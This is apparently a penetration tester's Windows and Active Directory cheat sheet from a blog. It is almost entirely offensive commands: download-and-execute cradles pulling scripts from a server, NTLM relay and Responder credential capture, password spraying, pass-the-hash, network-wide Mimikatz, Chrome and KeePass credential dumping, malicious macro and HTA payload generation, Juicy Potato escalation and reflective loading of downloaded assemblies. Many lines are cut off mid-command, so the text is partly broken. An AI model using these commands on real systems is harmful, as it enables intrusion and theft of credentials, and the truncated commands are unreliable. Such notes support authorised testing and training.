Windows Notes / Cheatsheet

Windows Cheatsheet | Active Directory | Exploitation | Priv Esc | Post Exploit | File Transfer | Lateral Movement

Jul 30, 2019

Aidan Preston

Penetration Tester

A place for me to store my notes/tricks for Windows Based Systems.

Note: These notes are heavily based off other articles, cheat sheets and guides etc. I just wanted a central place to store the best ones.

Table of Contents:

Aidan Preston

Penetration Tester

- DNS Zone Transfer
- LDAP
- RPC Enumeration
- Remote Desktop

- File Transfer
  - TFTP
  - FTP
  - VBS Script
  - Powershell
  - Powershell Base64
  - Secure Copy / pscp.exe
  - BitsAdmin.exe
  - Remote Desktop
  - WinHTTP Com Object
  - CertUtil
  - Curl (Windows 1803)
  - SMB
- Exploit
  - LLMNR / NBT-NS Spoofing
  - Responder WPAD Attack
  - mitm6
  - SCF File Attack

Aidan Preston

Penetration Tester

- NTLM-Relay
- Priv Exchange
- Exchange Password Spray
- ExchangeRelayX
- Exchange Mailbox Post-Compromise
- CrackMapExec
- Mail Sniper
- Kerberos Stuff
- MSSQL Exploiting (PowerUpSQL)
- Malicious Macro with MSBuild
- WeirdHTA - Undetectable HTA
- EvilWinRM
- GetVulnerableGPO
- Invoke-PSImage
- Meterpreter + Donut - Shellcode Injection .NET
- DemiGuise - Encrypted HTA

- Privilege Escalation
  - Basics
  - PowerUp.ps1 (Sometimes a Quick Win)
  - SharpUp
  - If It’s AD Get Bloodhound Imported…
  - Bloodhound-Python

Aidan Preston

Penetration Tester

- Cleartext Passwords
- View Installed Software
- Weak Folder Permissions
- Scheduled Tasks
- Powershell History
- View Connected Drives
- View Privs
- Is Anyone Else Logged In?
- View Registry Auto-Login
- View Stored Creds in Credential Manager
- View Unquoted Service Paths
- View Startup Items
- Check for AlwaysInstalledElevated Reg Key
- Any Passwords in Registry?
- Any Sysrep or Unattend Files Left Over
- GPP (Group Policy Preferences) Passwords
- Dump Chrome Passwords (Also Post Exploit)
- Dump KeePass
- Token Impersonation
- Juicy Potato
- Kerberoasting
- Kerberoast with Python

Aidan Preston

Penetration Tester

Aidan Preston

Penetration Tester

Aidan Preston

Penetration Tester

    - Chisel (Fast TCP Tunnel over HTTP secured by SSH)
    - CrackMapExec
    - WMIC Spawn Process
    - WinRS
    - Invoke-WMIExec.ps1
    - Powershell Invoke-Command (Requires Port 5985)
    - PSExec
    - Powershell Remoting
    - Configure Remote Service over SMB (Requires Local Admin on Target Machine)
    - Pass-The-Hash
    - Pass-The-Ticket
- Obfuscation / Evasion Techniques
    - Invoke-Obfusaction
    - Invoke-CradleCraft
    - Invoke-DOSfuscation
    - Unicorn
- AppLocker / Constrained Mode Bypasses
    - Verify is you are in constrained mode
    - PowershellVeryLess Bypass
    - World Writable Folders (By Default on Windows 10 1803)
    - Downgrade Attack
    - AppLocker COR Profile Bypass

- MSBuild Powershell/CMD Bypass
- PSAttack
- NoPowerShell
- runDLL32 Bypass
- PSByPassCLM

Aidan Preston

Penetration Tester

Enumeration

Basics

```
net users
net users /domain
net localgroup
net groups /domain
net groups /domain "Domain Admins"

Get-ADUser
Get-Domain
Get-DomainUser
Get-DomainGroup
Get-DomainGroupMember -identity "Domain Admins" -Domain m0chanAD
Find-DomainShare


#Host Discovery
netdiscover -r subnet/24
nbtscan -r [range]
for /L %i in (1,1,255) do  @ping.exe -n 1 -w 50 <10.10.10>.%i |
```

Aidan Preston

Penetration Tester


```
#Reverse DNS Lookup
$ComputerIPAddress = "10.10.14.14"
[System.Net.Dns]::GetHostEntry($ComputerIPAddress).HostName
```

https://github.com/tevora-threat/SharpView

Users with SPN

```
Get-DomainUser -SPN

Get-ADComputer -filter {ServicePrincipalName -like <keyword>} -P
PasswordLastSet,LastLogonDate,ServicePrincipalName,TrustedForDel
```

Kerberos Enumeration

```
nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-e
```

Red-Team CSharp Scripts

Aidan Preston

Penetration Tester


```
#https://github.com/Mr-Un1k0d3r/RedTeamCSharpScripts

LDAPUtility.cs

Usage: ldaputility.exe options domain [arguments]

ldaputility.exe DumpAllUsers m0chan
ldaputility.exe DumpUser m0chan mr.un1k0d3r
ldaputility.exe DumpUsersEmail m0chan
ldaputility.exe DumpAllComputers m0chan
ldaputility.exe DumpComputer m0chan DC01
ldaputility.exe DumpAllGroups m0chan
ldaputility.exe DumpGroup m0chan "Domain Admins"
ldaputility.exe DumpPasswordPolicy m0chan

Also WMIUtility.cs for WMI Calls & LDAPQuery.cs for Raw LDAP Que

See github linked above for full details.
```

Active Directory

```
nltest /DCLIST:DomainName
nltest /DCNAME:DomainName
nltest /DSGETDC:DomainName

# Get Current Domain Info - Similar to Get-Domain
```

Aidan Preston

Penetration Tester


```
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDom

# Get Domain Trust Info - Similar to Get-DomainTrust
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDo

# View Domain Info
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentFor

#  View Domain Trust Information
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((N

nltest [server:<fqdn_foreign_domain>] /domain_trusts /all_trusts

nltest /dsgetfti:<domain>

nltest /server:<ip_dc> /domain_trusts /all_trusts

([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDo

# View All Domain Controllers
nltest /dclist:offense.local
net group "domain controllers" /domain

# View DC for Current Session
nltest /dsgetdc:m0chanAD.local

# View Domain Trusts from CMD
nltest /domain_trusts

# View User Info from CMD
```

Aidan Preston

Penetration Tester


```
nltest /user:"m0chan"

# get domain name and DC the user authenticated to
klist

# Get All Logged on Sessions, Includes NTLM & Kerberos
klist sessions

# View Kerb Tickets
klist

# View Cached Krbtgt
klist tgt

# whoami on older Windows systems
set u

#List all Usernames
([adsisearcher]"(&(objectClass=User)(samaccountname=*))").FindAl

#List Administrators

([adsisearcher]"(&(objectClass=User)(admincount=1))").FindAll().

#List all Info about Specific User

([adsisearcher]"(&(objectClass=User)(samaccountname=<username>))

#View All Users with Description Field Set
```

```
([adsisearcher]"(&(objectClass=group)(samaccountname=*))").FindA
```

AD Enumeration from Linux Box - AD Tool

Aidan Preston

Penetration Tester


```
#https://github.com/jasonwbarnett/linux-adtool

tar zxvf adtools-1.x.tar.gz
cd adtools-1.x
./configure
make
make install

> adtool list ou=user,dc=example,dc=com
CN=allusers,OU=user,DC=example,DC=com
OU=finance,OU=user,DC=example,DC=com
OU=administration,OU=user,DC=example,DC=com

> adtool oucreate marketing ou=user,dc=example,dc=com
> adtool useradd jsmith ou=marketing,ou=user,dc=example,dc=com
> adtool setpass jsmith banana
> adtool unlock jsmith
> adtool groupadd allusers jsmith
> adtool attributereplace jsmith telephonenumber 123
> adtool attributereplace jsmith mail jsmith@example.com
```

Aidan Preston

Penetration Tester


```
#https://github.com/tevora-threat/SharpView

Get-DomainFileServer
Get-DomainGPOUserLocalGroupMapping
Find-GPOLocation
Get-DomainGPOComputerLocalGroupMapping
Find-GPOComputerAdmin
Get-DomainObjectAcl
Get-ObjectAcl
Add-DomainObjectAcl
Add-ObjectAcl
Remove-DomainObjectAcl
Get-RegLoggedOn
Get-LoggedOnLocal
Get-NetRDPSession
Test-AdminAccess
Invoke-CheckLocalAdminAccess
Get-WMIProcess
Get-NetProcess
Get-WMIRegProxy
Get-Proxy
Get-WMIRegLastLoggedOn
Get-LastLoggedOn
Get-WMIRegCachedRDPConnection
Get-CachedRDPConnection
Get-WMIRegMountedDrive
Get-RegistryMountedDrive
```

Aidan Preston

Penetration Tester


```
Find-InterestingDomainAcl
Invoke-ACLScanner
Get-NetShare
Get-NetLoggedon
```

SMB Enumeration

```
nmap -p 139,445 --script smb.nse,smb-enum-shares,smbls
enum4linux 1.3.3.7
smbmap -H 1.3.3.7
smbclient -L \\INSERTIPADDRESS
smbclient -L INSERTIPADDRESS
smbclient //INSERTIPADDRESS/tmp
smbclient \\\\INSERTIPADDRESS\\ipc$ -U john
smbclient //INSERTIPADDRESS/ipc$ -U john
smbclient //INSERTIPADDRESS/admin$ -U john
nbtscan [SUBNET]


#Check for SMB Signing
nmap --script smb-security-mode.nse -p 445 10.10.14.14
```

SNMP Enumeration

```
snmpwalk -c public -v1 10.10.14.14
snmpcheck -t 10.10.14.14 -c public
```

Aidan Preston

Penetration Tester


```
onesixtyone -c names -i hosts
nmap -sT -p 161 10.10.14.14 -oG snmp_results.txt
snmpenum -t 10.10.14.14
```

MySQL Enumeration

```
nmap -sV -Pn -vv  10.0.0.1 -p 3306 --script mysql-audit,mysql-da
```

DNS Zone Transfer

```
dig axfr blah.com @ns1.m0chan.com
nslookup -> set type=any -> ls -d m0chan.com
dnsrecon -d m0chan -D /usr/share/wordlists/dnsmap.txt -t std --x
```

LDAP

```
ldapsearch -H ldap://<ip>
ldapwhoami
```

RPC Enumeration

Aidan Preston

Penetration Tester


```
rpcclient -U "10.10.14.14"
srvinfo
enumdomusers
enumalsgroups domain
lookupnames administrators
querydominfo
enumdomusers
queryuser <user>
lsaquery
lookupnames Guest
lookupnames Administrator
```

Remote Desktop

```
rdesktop -u guest -p guest INSERTIPADDRESS -g 94%

# Brute force
ncrack -vv --user Administrator -P /root/oscp/passwords.txt rdp:
```

File Transfer

TFTP

```
m0chan Machine
mkdir tftp
```

```
atftpd --deamon --port 69 tftp
cp *file* tftp
On victim machine:
tftp -i <[IP]> GET <[FILE]>
```

Aidan Preston

Penetration Tester

FTP

```
echo open <[IP]> 21 > ftp.txt
echo USER demo >> ftp.txt
echo ftp >> ftp.txt
echo bin >> ftp.txt
echo GET nc.exe >> ftp.txt
echo bye >> ftp.txt
ftp -v -n -s:ftp.txt
```

VBS Script

```
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >>
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
```

Aidan Preston

Penetration Tester


```
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wg
echo If http Is Nothing Then Set http = CreateObject("WinHttp.Wi
echo If http Is Nothing Then Set http = CreateObject("MSXML2.Ser
echo If http Is Nothing Then Set http = CreateObject("Microsoft.
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,
echo Next >> wget.vbs
echo ts.Close >> wget.vbs



cscript wget.vbs <url> <out_file>

Use echoup function on pentest.ws to generate echo commands.
https://pentest.ws/features
```

Powershell

Aidan Preston

Penetration Tester


```
#https://github.com/danielbohannon/Invoke-CradleCrafter Use this

Invoke-WebRequest "https://server/filename" -OutFile "C:\Windows

(New-Object System.Net.WebClient).DownloadFile("https://server/f

#Powershell Download to Memory

IEX(New-Object Net.WebClient).downloadString('http://server/scri

#Powershell with Proxy

$browser = New-Object System.Net.WebClient;
$browser.Proxy.Credentials = [System.Net.CredentialCache]::Defau
IEX($browser.DownloadString('https://server/script.ps1'));
```

Powershell Base64

```
$fileName = "Passwords.kdbx"
$fileContent = get-content $fileName
$fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileC
$fileContentEncoded = [System.Convert]::ToBase64String($fileCont
$fileContentEncoded | set-content ($fileName + ".b64")
```

Secure Copy / pscp.exe

Aidan Preston

Penetration Tester


```
pscp.exe C:\Users\Public\m0chan.txt user@target:/tmp/m0chan.txt
pscp.exe user@target:/home/user/m0chan.txt C:\Users\Public\m0cha
```

BitsAdmin.exe

```
cmd.exe /c "bitsadmin.exe /transfer downld_job /download /priori
```

Remote Desktop

```
rdesktop 10.10.10.10 -r disk:linux='/home/user/filetransferout'
```

WinHTTP Com Object

```
[System.Net.WebRequest]::DefaultWebProxy
[System.Net.CredentialCache]::DefaultNetworkCredentials
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','htt
```

CertUtil

Aidan Preston

Penetration Tester


```
#File Transfer

certutil.exe -urlcache -split -f https://m0chan:8888/filename ou

#CertUtil Base64 Transfers

certutil.exe -encode inputFileName encodedOutputFileName
certutil.exe -decode encodedInputFileName decodedOutputFileName
```

Curl (Windows 1803+)

```
curl http://server/file -o file
curl http://server/file.bat | cmd

IEX(curl http://server/script.ps1);Invoke-Blah
```

SMB

```
python smbserver.py Share `pwd` -u m0chan -p m0chan --smb-2suppo
```

Exploit

Aidan Preston

Penetration Tester

LLMNR / NBT-NS Spoofing

```
#Responder to Steal Creds

git clone https://github.com/SpiderLabs/Responder.git python Res


LLMNR and NBT-NS is usually on by default and there purpose is t

'Yeah I'm HRServer, authenticate to me and I will get a NTLMv2 h
```

Responder WPAD Attack

```
responder -I eth0 wpad

By default, Windows is configured to search for a Web Proxy Auto

Go to internet explorer and search for Google which automaticall

Then take NTLMv2 hash and NTLM Relay it or send to cracking rig.
```

mitm6

Aidan Preston

Penetration Tester


```
#Use when WPAD attack is not working, this uses IPv6 and DNS to

By default IPV6 should be enabled.
git clone https://github.com/fox-it/mitm6.git
cd /opt/tools/mitm6
pip install .

mitm6 -d m0chanAD.local

Now the vuln occurs, Windows prefers IPV6 over IPv4 meaning DNS

ntlmrelayx.py -wh webserverhostingwpad:80 -t smb://TARGETIP/ -i

-i opens an interactive shell.

Shout out to hausec for this super nice tip.
```

SCF File Attack

```
Create .scf file and drop inside SMB Share and fire up Responder


Filename = @m0chan.scf

[Shell]
Command=2
```

```
IconFile=\\10.10.14.2\Share\test.ico
[Taskbar]
Command=ToggleDesktop
```

NTLM-Relay

Aidan Preston

Penetration Tester


```
Good article explaining differences between NTLM/Net-NTLMV1&V2

https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-i

TL;DR NTLMv1/v2 is a shorthand for Net-NTLMv1/v2 and hence are t

You CAN perform Pass-The-Hash attacks with NTLM hashes.
You CANNOT perform Pass-The-Hash attacks with Net-NTLM hashes.

PS: You CANNOT relay a hash back to itself.
PS: SMB Signing must be disabled to mitigate this, you can check

crackmapexec smb 10.10.14.0/24 --gene-relay-list targets.txt

This will tell you a list of hosts within a subnet which do not

python Responder.py -I <interface> -r -d -w
ntlmrelayx.py -tf targets.txt (By default this will dump the loc

How about we execute a command instead.
```

```
ntlmrelayx.py -tf targets.txt -c powershell.exe -Enc asdasdasdas
ntlmrelayx.py -tf targets.txt -c powershell.exe /c download and
```

Priv Exchange

Aidan Preston

Penetration Tester


```
#https://dirkjanm.io/abusing-exchange-one-api-call-away-from-dom

Combine privxchange.py and ntlmrelayx

ntlmrelayx.py -t ldap://DOMAINCONTROLLER.m0chanAD.local --escala

python privexchange.py -ah FDQN.m0chanAD.local DOMAINCONTROLLER.
```

Exchange Password Spray

```
#https://github.com/dafthack/MailSniper.git

Invoke-PasswordSprayOWA -ExchHostname EXCH2012.m0chanAD.local -U


#https://github.com/sensepost/ruler

./ruler-linux64 -domain mc0hanAD.local --insecure brute --userpa
```

Aidan Preston

Penetration Tester

ExchangeRelayX

```
#https://github.com/quickbreach/ExchangeRelayX

An NTLM relay tool to the EWS endpoint for on-premise exchange s


./exchangeRelayx.py -t https://mail.quickbreach.com
```

Exchange Mailbox Post-Compromise

```
#https://github.com/dafthack/MailSniper.git

Enumerate GlobalAddressList

Get-GlobalAddressList -ExchHostname EXCH2012.m0chanAD.local -Use

Enumerate AD Usernames

Get-ADUsernameFromEWS -Emaillist .\users.txt

Enumerate Mailbox Folders
```

Aidan Preston

Penetration Tester


```
Get-MailboxFolders -Mailbox jamie@m0chanAD.local

Enumerate Passwords & Credentials Stored in Emails

Invoke-SelfSearch -Mailbox jamie@m0chanAD.local

Enumerate Passwords & Credentials (Any Users) Requires DA or Exc

Invoke-GlobalMailSearch -ImpersonationAccount helenHR -ExchHostn
```

CrackMapExec

```
CrackMapExec is installed on Kali or get Windows Binary from Git

Has 3 Execution Methods
crackmapexec smb <- Creating and Running a Service over SMB
crackmapexec wmi <- Executes command over WMI
crackmapexec at <- Schedules Task with Task Scheduler

Can execute plain commands with -X flag i/e

crcakmapexec smb 10.10.14.0/24 -x whoami

crcakmapexec smb 10.10.14.0/24 <- Host Discovery
crackmapexec smb 10.10.14.0/24 -u user -p 'Password'
crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --pass-pol
crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --shares
```

Aidan Preston

Penetration Tester


```
Can also PTH with CME

crackmapexec smb 10.10.14.0/24 -u user -H e8bcd502fbbdcd9379305d

cme smb 10.8.14.14 -u Administrator -H aad3b435b51404eeaad3b435b


--local-auth is for Authenticating with Local Admin, good if Org

Dump Local SAM hashes

crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --local-aut

Running Mimikatz

crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --local-aut

^ Very noisy but yes you can run mimikatz across a WHOLE network

Enum AV Products

crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --local-aut
```

Mail Sniper

Aidan Preston

Penetration Tester


```
Invoke-PasswordSprayOWA -ExchHostname m0chanAD.local -userlist h

[*] Now spraying the OWA portal at https://m0chanAD.local/owa/

[*] SUCCESS! User:m0chan:Summer2019

Lmao, you really think Id use the pass Summer2019?
```

Kerberos Stuff

```
#https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29
#https://m0chan.github.io/Kerberos-Attacks-In-Depth
```

MSSQL Exploiting (PowerUpSQL)

```
#https://github.com/NetSPI/PowerUpSQL

#View SQL Instances
Get-SQLInstanceDomain [| Get-SQLServerInfo]

#Login in with Domain Account
Get-SQLConnectionTestThreaded

#Login in with Default Password
```

Aidan Preston

Penetration Tester


```
Get-SQLServerDefaultLoginPw

#List DB, Tables & Columns

Get-SQLInstanceDomain | Get-SQLDatabase
Get-SQLInstanceDomain | Get-SQLTable -DatabaseName <DB_name>
Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName <DB_name> -T

#Search Column Names for Word

Get-SQLInstanceDomain | Get-SQLColumnSampleData -Keywords "<word

#Try to Execute Commands (RCE)

Invoke-SQLOSCmd


#Enable XP_CMDShell Process

EXEC sp_configure 'show advanced options', 1;
go
RECONFIGURE;
go
EXEC sp_configure 'xp_cmdshell', 1;
go
RECONFIGURE;
go
xp_cmdshell '<cmd>'
go
```

Aidan Preston

Penetration Tester

Malicious Macro with MSBuild

```
#https://github.com/infosecn1nja/MaliciousMacroMSBuild

#https://lolbas-project.github.io/lolbas/Binaries/Msbuild/ - MSB

Creation of a Shellcode MSBuild VBA Macro
python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba

Creation of a PowerShell MSBuild VBA Macro
python m3-gen.py -p powershell -i /path/payload.ps1 -o output.vb

Creation of a Custom MSBuild VBA Macro
python m3-gen.py -p custom -i /path/msbuild.xml -o output.vba

Creation of a Shellcode MSBuild VBA Macro With Kill Date
python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba

Creation of a Shellcode MSBuild VBA Macro With Environmental Key
python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba
python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba
```

WeirdHTA - Undetectable HTA

```
#https://github.com/felamos/weirdhta
```

Aidan Preston

Penetration Tester


```
python3 --help
python3 weirdhta.py 10.10.10.10 4444 --normal (for normal powers
python3 weirdhta.py 10.10.10.10 4444 --smb (without powershell p
python3 weirdhta.py 10.10.10.10 4444 --powercat (for powercat)
python3 weirdhta.py 10.10.10.10 4444 --command 'c:\windows\syste
```

EvilWinRM

```
#https://github.com/Hackplayers/evil-winrm

Ultimate Shell for WinRM Connections

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH]
    -S, --ssl                        Enable SSL
    -c, --pub-key PUBLIC_KEY_PATH    Local path to public key ce
    -k, --priv-key PRIVATE_KEY_PATH  Local path to private key c
    -s, --scripts PS_SCRIPTS_PATH    Powershell scripts local pa
    -e, --executables EXES_PATH      C# executables local path
    -i, --ip IP                      Remote host IP or hostname
    -U, --url URL                    Remote url endpoint (defaul
    -u, --user USER                  Username (required)
    -p, --password PASS              Password
    -P, --port PORT                  Remote host port (default 5
    -V, --version                    Show version
    -h, --help                       Display this help message
```

Aidan Preston

Penetration Tester

GetVulnerableGPO

```
#https://github.com/gpoguy/GetVulnerableGPO

PowerShell script to find 'vulnerable' security-related GPOs tha
```

Invoke-PSImage

```
#https://github.com/peewpw/Invoke-PSImage

Encodes a PowerShell script in the pixels of a PNG file and gene

Invoke-PSImage takes a PowerShell script and encodes the bytes o

PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi
   [Oneliner to execute from a file]


PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi
   [Oneliner to execute from the web]
```

Aidan Preston

Penetration Tester

Meterpreter + Donut - Shellcode Injection .NET

```
#https://iwantmore.pizza/posts/meterpreter-shellcode-inject.html

A module for executing arbitrary shellcode within Meterpreter ak

donut -f /tmp/mimikatz.exe -a 2 -o /tmp/payload.bin

use post/windows/manage/shellcode_inject
set SHELLCODE /tmp/payload.bin
set SESSION 1
run
```

DemiGuise - Encrypted HTA

```
#https://github.com/nccgroup/demiguise

Run the demiguise.py file, giving it your encryption-key, payloa

Example: python demiguise.py -k hello -c "notepad.exe" -p Outloo
```

Aidan Preston

Penetration Tester

Privilege Escalation

Reference: https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/

Run this script: https://github.com/M4ximuss/Powerless/blob/master/Powerless.bat

Basics

```
systeminfo
wmic qfe
net users
hostname
whoami
net localgroups
echo %logonserver%
netsh firewall show state
netsh firewall show config
netstat -an
type C:\Windows\system32\drivers\etc\hosts
```

PowerUp.ps1 (Sometimes a Quick Win)

```
powershell.exe /c IEX(New-Object Net.WebClient).downloadString('
```

Aidan Preston

Penetration Tester

SharpUp

```
#https://github.com/GhostPack/SharpUp

C Sharp Implementation of PowerUp.ps1 which can be reflectively
```

If It's AD Get Bloodhound Imported…

```
SharpHound.ps1
SharpHound.exe -> https://github.com/BloodHoundAD/SharpHound

IEX(System.Net.WebClient.DownloadString('http://webserver:4444/S

Invoke-CollectionMethod All

Import .zip to Bloodhound

If you can't exfil the .zip... Find a way ;) I joke, I joke. Out
```

Bloodhound-Python

```
git clone https://github.com/fox-it/BloodHound.py.git
cd BloodHound.py/ && pip install .
```

Aidan Preston

Penetration Tester


```
bloodhound-python -d m0chanAD.local -u m0chan -p Summer2019 -gc
```

Cleartext Passwords

```
# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Win

# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"

# SNMP Parameters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```

View Installed Software

```
tasklist /SVC
net start
```

Aidan Preston

Penetration Tester


```
reg query HKEY_LOCAL_MACHINE\SOFTWARE
DRIVERQUERY

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft

Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft N
```

Weak Folder Permissions

```
Full Permissions for 'Everyone' on Program Folders

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Eve
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findst

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUI
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findst

Modify Permissions for Everyone on Program Folders

icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Eve
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findst
```

```
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUI
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findst
```

Scheduled Tasks

```
schtasks /query /fo LIST /v
```

Powershell History

```
type C:\Users\m0chan\AppData\Roaming\Microsoft\Windows\PowerShel
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
```

View Connected Drives

```
net use
wmic logicaldisk get caption,description

Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Cor
```

Aidan Preston

Penetration Tester

Aidan Preston

Penetration Tester

View Privs

```
whoami /priv

Look for SeImpersonate, SeDebugPrivilege etc
```

Is Anyone Else Logged In?

```
qwinsta
```

View Registry Auto-Login

```
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Win

Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Mi
```

View Stored Creds in Credential Manager

```
cmdkey /list
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```

Aidan Preston

Penetration Tester


```
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsof
```

View Unquoted Service Paths

```
wmic service get name,displayname,pathname,startmode 2>nul |find

gwmi -class Win32_Service -Property Name, DisplayName, PathName,
```

View Startup Items

```
wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Sta
dir "C:\Documents and Settings\%username%\Start Menu\Programs\St
```

Check for AlwaysInstalledElevated Reg Key

Aidan Preston

Penetration Tester


```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v
Get-ItemProperty HKLM\Software\Policies\Microsoft\Windows\Instal
Get-ItemProperty HKCU\Software\Policies\Microsoft\Windows\Instal
reg query HKLM\Software\Policies\Microsoft\Windows\Installer
reg query HKCU\Software\Policies\Microsoft\Windows\Installer
```

Any Passwords in Registry?

```
reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s
```

Any Sysrep or Unattend Files Left Over

```
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Rec
```

GPP (Group Policy Preferences) Passwords

```
smbclient //DOMAINCONTROLLER.local/SYSVOL -U m0chan
```

Aidan Preston

Penetration Tester


```
\m0chanAD.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\

http://www.sec-1.com/blog/wp-content/uploads/2015/05/gp3finder_v

Can also use PowerUP.ps1
```

Dump Chrome Passwords (Also Post Exploit)

```
#git clone https://github.com/rasta-mouse/CookieMonster

CookieMonster creds
CookieMonster.exe cookies -d [domain] -e
CookieMonster -a

Must be run in the context of the target users as chrome passwor

Can also use Mimikatz for this.

mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google

mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google

mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google
```

Dump KeePass

Aidan Preston

Penetration Tester


```
#https://github.com/HarmJ0y/KeeThief
#http://www.harmj0y.net/blog/redteaming/keethief-a-case-study-in

Get-Process keepass
tasklist | findstr keepass

Attacking KeePass

#https://raw.githubusercontent.com/HarmJ0y/KeeThief/master/Power
Import-Module KeeThief.ps1
Get-KeePassDatabaseKey -Verbose

KeeTheft.exe, Microsoft.Diagnostics.Runtime.dll & KeePatched.exe
```

Token Impersonation

```
https://github.com/PowerShellMafia/PowerSploit/blob/c7985c9bc31e

Invoke-TokenManipulation -ImpersonateUser -Username "lab\domaina
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "c

Can also use incognito from meterpreter to steal access/delegati

#Tokenvator https://github.com/0xbadjuju/Tokenvator

Reflectively Load it with Powershell, Cobalt, SilentTrinity etc.
```

Aidan Preston

Penetration Tester


```
$wc=New-Object System.Net.WebClient;$wc.Headers.Add("User-Agent"
$k="xxxxxxx";$i=0;[byte[]]$b=([byte[]]($wc.DownloadData("https:/
[System.Reflection.Assembly]::Load($b) | Out-Null
$parameters=@("arg1", "arg2")
[namespace.Class]::Main($parameters)


Reflectively Load .NET Assembly within Powershell if you cant do
```

Juicy Potato

```
#Requires SeImpersonatePrivilege (Typically found on service acc

#Reference https://ohpe.it/juicy-potato/

Requirements: SeAssignPrimaryTokenPrivilege and/or SeImpersonate

(new-object System.Net.WebClient).DownloadFile('http://10.10.14.

JuicyPotato.exe -l 1337 -p C:\Users\Public\Documents\Mochan.exe

Mochan.exe = Payload
5B3E6773-3A99-4A3D-8096-7765DD11785C = Target CLISD

A CLSID is a GUID that identifies a COM class object
```

```
Can also use -A flag to specify arguments alongside cmd.exe/powe

JUICY POTATO HAS TO BE RAN FROM CMD SHELL AND NOT POWERSHELL
```

Aidan Preston

Penetration Tester

Kerberoasting
